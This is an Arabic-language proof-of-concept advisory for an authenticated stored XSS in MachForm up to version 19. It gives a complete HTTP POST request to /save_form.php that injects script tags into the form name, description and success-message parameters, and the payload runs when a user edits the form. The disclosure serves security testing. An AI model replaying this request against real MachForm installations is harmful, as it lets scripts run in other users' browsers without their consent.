
إثبات المفهوم لـ XSS مخزنة ومصادق عليها في MachForm v19، توضح حقن JavaScript عبر معاملات POST غير منظفة لاختبار الأمان.
يتأثر MachForm حتى الإصدار 19 بثغرة تخزين نص برمجي عبر المواقع (XSS) موثقة.
في تطبيق الويب المستهدف، تم العثور على الطلب الموجه إلى المورد الضعيف يعاني من هجوم XSS. تفتقر معاملات طلب POST في نص URL الضعيف إلى التنقية، مما يسمح بوضع حمولة ضارة وتشغيل كود JavaScript في متصفح الضحية.
المعاملات الضعيفة:
fp%5Bdescription%5Dfp%5Bname%5Dfp%5Bsuccess_message%5Dمن الممكن حقن حمولة JavaScript في أي من المعاملات الضعيفة

الطلب:
POST /save_form.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 2737
Origin: https://application-baseurl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
form_id=59032&csrf_token=26b435873fec39570ba67d44cce86095c0b598cdd2f46a80&fp%5Bid%5D=59032&fp%5Bname%5D=VAPT_FORM<script>alert(1)</script>&fp%5Bname_hide%5D=0&fp%5Bactive%5D=1&fp%5Bdescription%5D=VAPT+Description<script>alert(1)</script>&fp%5Bredirect%5D=&fp%5Bredirect_enable%5D=0&fp%5Bapproval_enable%5D=0&fp%5Bsuccess_message%5D=Success!+Your+submission+has+been+saved!%3Cscript%3Ealert(1)%3C%2Fscript%3E&fp%5Bpassword%5D=&fp%5Bframe_height%5D=385&fp%5Bunique_ip%5D=0&fp%5Bunique_ip_maxcount%5D=5&fp%5Bunique_ip_period%5D=d&fp%5Bcaptcha%5D=0&fp%5Bcaptcha_type%5D=n&fp%5Breview%5D=0&fp%5Bencryption_enable%5D=0&fp%5Bencryption_public_key%5D=null&fp%5Bentry_edit_enable%5D=0&fp%5Bentry_edit_resend_notifications%5D=0&fp%5Bentry_edit_rerun_logics%5D=0&fp%5Bentry_edit_auto_disable%5D=0&fp%5Bentry_edit_auto_disable_period%5D=1&fp%5Bentry_edit_auto_disable_unit%5D=r&fp%5Bentry_edit_hide_editlink%5D=0&fp%5Bkeyword_blocking_enable%5D=0&fp%5Bkeyword_blocking_list%5D=null&fp%5Blanguage%5D=english&fp%5Bresume_enable%5D=0&fp%5Bresume_subject%5D=Your+submission+to+%7Bform_name%7D+has+been+saved&fp%5Bresume_content%5D=Thank+you!+Your+submission+to+%3Cb%3E%7Bform_name%7D%3C%2Fb%3E+has+been+saved.%3Cbr+%2F%3E%3Cbr+%2F%3EYou+can+resume+the+form+at+any+time+by+clicking+the+link+below%3A%3Cbr+%2F%3E%3Ca+href%3D%22%7Bresume_url%7D%22%3E%7Bresume_url%7D%3C%2Fa%3E%3Cbr+%2F%3E%3Cbr+%2F%3E%3Cbr+%2F%3E%3Cbr+%2F%3E%3Cb%3EIMPORTANT%3A%3C%2Fb%3E%3Cbr+%2F%3EYour+submission+is+considered+incomplete+until+you+resume+the+form+and+press+the+submit+button.&fp%5Bresume_from_name%5D=&fp%5Bresume_from_email_address%5D= &fp%5Bapproval_email_subject%5D=Approval+Required+-+%7Bform_name%7D+%5B%23%7Bentry_no%7D%5D&fp%5Bapproval_email_content%5D=This+entry+needs+your+approval.%3Cbr%2F%3E%3Cbr%2F%3EPlease+approve+or+deny+by+using+the+link+below%3A%3Cbr%2F%3E%3Cstrong%3E%7Bview_entry_link%7D%3C%2Fstrong%3E%3Cbr%2F%3E%3Cbr%2F%3E%3Chr+style%3D%22width%3A+60%25%3Bmargin-top%3A+20px%3Bmargin-bottom%3A+20px%22%3E%3Cbr%2F%3E%7Bentry_data%7D&fp%5Blimit_enable%5D=0&fp%5Blimit%5D=0&fp%5Blabel_alignment%5D=top_label&fp%5Bschedule_enable%5D=0&fp%5Bschedule_start_date%5D=null&fp%5Bschedule_start_hour%5D=12%3A00%3Aam&fp%5Bschedule_end_date%5D=null&fp%5Bschedule_end_hour%5D=12%3A00%3Aam&fp%5Bpage_total%5D=1&fp%5Bpagination_type%5D=steps&fp%5Breview_primary_text%5D=Submit&fp%5Breview_secondary_text%5D=Previous&fp%5Breview_primary_img%5D=&fp%5Breview_secondary_img%5D=&fp%5Breview_use_image%5D=0&fp%5Breview_title%5D=Review+Your+Entry&fp%5Breview_description%5D=Please+review+your+entry+below.+Click+Submit+button+to+finish.&fp%5Bcustom_script_enable%5D=0&fp%5Bcustom_script_url%5D=&el_pos=el_pos%5B%5D%3D1
يتم تشغيل الحمولة بعد ذلك عندما يحاول المستخدم تحرير النموذج المتأثر بالحقن.

